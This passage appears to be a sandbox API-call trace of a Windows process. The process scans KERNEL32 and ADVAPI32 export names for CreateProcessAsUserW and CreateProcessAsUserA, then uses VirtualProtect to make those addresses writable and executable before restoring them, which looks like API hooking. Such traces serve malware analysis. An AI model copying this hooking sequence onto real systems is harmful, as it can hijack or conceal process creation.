lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="Beep", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessAsUserW") returned -1 [0081.831] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessAsUserW") returned -1 [0081.832] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0081.833] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessAsUserW") returned -1 [0081.834] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessAsUserW") returned 0 [0081.834] VirtualProtect (in: lpAddress=0x76a9fcc0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd2c | out: lpflOldProtect=0x37fd2c*=0x20) returned 1 [0081.834] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0081.834] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x2749900 [0081.834] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0081.834] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x2749900 | out: hHeap=0x2350000) returned 1 [0081.834] VirtualProtect (in: lpAddress=0x76ab020a, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x37fd60 | out: lpflOldProtect=0x37fd60*=0x20) returned 1 [0081.835] VirtualProtect (in: lpAddress=0x76ab020a, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x37fd60 | out: lpflOldProtect=0x37fd60*=0x40) returned 1 [0081.835] VirtualProtect (in: lpAddress=0x76a9fcc0, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x37fd2c | out: lpflOldProtect=0x37fd2c*=0x40) returned 1 [0081.835] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x37fcf8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x37fcf8, ReturnLength=0x0) returned 0x0 [0081.835] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x75220000 [0081.835] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0x30) returned 0x2749900 [0081.835] lstrcmpA (lpString1="A_SHAFinal", lpString2="CreateProcessAsUserA") returned -1 [0081.835] lstrcmpA (lpString1="A_SHAInit", lpString2="CreateProcessAsUserA") returned -1 [0081.835] lstrcmpA (lpString1="A_SHAUpdate", lpString2="CreateProcessAsUserA") returned -1 [0081.835] lstrcmpA (lpString1="AbortSystemShutdownA", lpString2="CreateProcessAsUserA") returned -1 [0081.835] lstrcmpA (lpString1="AbortSystemShutdownW", lpString2="CreateProcessAsUserA") returned -1 [0081.835] lstrcmpA (lpString1="AccessCheck", lpString2="CreateProcessAsUserA") returned -1 [0081.835] lstrcmpA (lpString1="AccessCheckAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AccessCheckAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AccessCheckByType", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AccessCheckByTypeAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AccessCheckByTypeResultList", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmA", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleA", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmByHandleW", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AccessCheckByTypeResultListAndAuditAlarmW", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddAccessAllowedAce", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddAccessAllowedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddAccessAllowedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddAccessDeniedAce", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddAccessDeniedAceEx", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddAccessDeniedObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddAce", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddAuditAccessAce", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddAuditAccessAceEx", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddAuditAccessObjectAce", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddConditionalAce", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddMandatoryAce", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddUsersToEncryptedFile", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AddUsersToEncryptedFileEx", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AdjustTokenGroups", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AdjustTokenPrivileges", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AllocateAndInitializeSid", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AllocateLocallyUniqueId", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AreAllAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AreAnyAccessesGranted", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AuditComputeEffectivePolicyBySid", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AuditComputeEffectivePolicyByToken", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AuditEnumerateCategories", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AuditEnumeratePerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AuditEnumerateSubCategories", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AuditFree", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AuditLookupCategoryGuidFromCategoryId", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AuditLookupCategoryIdFromCategoryGuid", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AuditLookupCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AuditLookupCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0081.836] lstrcmpA (lpString1="AuditLookupSubCategoryNameA", lpString2="CreateProcessAsUserA") returned -1 [0081.837] lstrcmpA (lpString1="AuditLookupSubCategoryNameW", lpString2="CreateProcessAsUserA") returned -1 [0081.837] lstrcmpA (lpString1="AuditQueryGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0081.837] lstrcmpA (lpString1="AuditQueryGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0081.837] lstrcmpA (lpString1="AuditQueryPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0081.837] lstrcmpA (lpString1="AuditQuerySecurity", lpString2="CreateProcessAsUserA") returned -1 [0081.837] lstrcmpA (lpString1="AuditQuerySystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0081.837] lstrcmpA (lpString1="AuditSetGlobalSaclA", lpString2="CreateProcessAsUserA") returned -1 [0081.837] lstrcmpA (lpString1="AuditSetGlobalSaclW", lpString2="CreateProcessAsUserA") returned -1 [0081.837] lstrcmpA (lpString1="AuditSetPerUserPolicy", lpString2="CreateProcessAsUserA") returned -1 [0081.837] lstrcmpA (lpString1="AuditSetSecurity", lpString2="CreateProcessAsUserA") returned -1 [0081.837] lstrcmpA (lpString1="AuditSetSystemPolicy", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BackupEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BackupEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildImpersonateExplicitAccessWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildImpersonateTrusteeA", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildImpersonateTrusteeW", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildTrusteeWithNameA", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildTrusteeWithNameW", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameA", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndNameW", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidA", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildTrusteeWithObjectsAndSidW", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildTrusteeWithSidA", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="BuildTrusteeWithSidW", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="CancelOverlappedAccess", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="ChangeServiceConfig2A", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="ChangeServiceConfig2W", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="ChangeServiceConfigA", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="ChangeServiceConfigW", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="CheckTokenMembership", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="ClearEventLogA", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="ClearEventLogW", lpString2="CreateProcessAsUserA") returned -1 [0081.848] lstrcmpA (lpString1="CloseCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CloseEncryptedFileRaw", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CloseEventLog", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CloseServiceHandle", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CloseThreadWaitChainSession", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CloseTrace", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CommandLineFromMsiDescriptor", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ComputeAccessTokenFromCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ControlService", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ControlServiceExA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ControlServiceExW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ControlTraceA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ControlTraceW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertAccessToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertSDToStringSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessNamedW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertSecurityDescriptorToAccessW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertSidToStringSidA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertStringSDToSDDomainA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertStringSDToSDDomainW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertStringSidToSidA", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="ConvertToAutoInheritPrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CopySid", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CreateCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CreatePrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CreatePrivateObjectSecurityEx", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CreatePrivateObjectSecurityWithMultipleInheritance", lpString2="CreateProcessAsUserA") returned -1 [0081.849] lstrcmpA (lpString1="CreateProcessAsUserA", lpString2="CreateProcessAsUserA") returned 0 [0081.850] VirtualProtect (in: lpAddress=0x75234c58, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x37fd2c | out: lpflOldProtect=0x37fd2c*=0x20) returned 1 [0081.864] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x27489f8 [0081.865] RtlAllocateHeap (HeapHandle=0x2350000, Flags=0x0, Size=0xc) returned 0x274d658 [0081.865] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x27489f8 | out: hHeap=0x2350000) returned 1 [0081.865] HeapFree (in: hHeap=0x2350000, dwFlags=0x0, lpMem=0x274d658 | out: 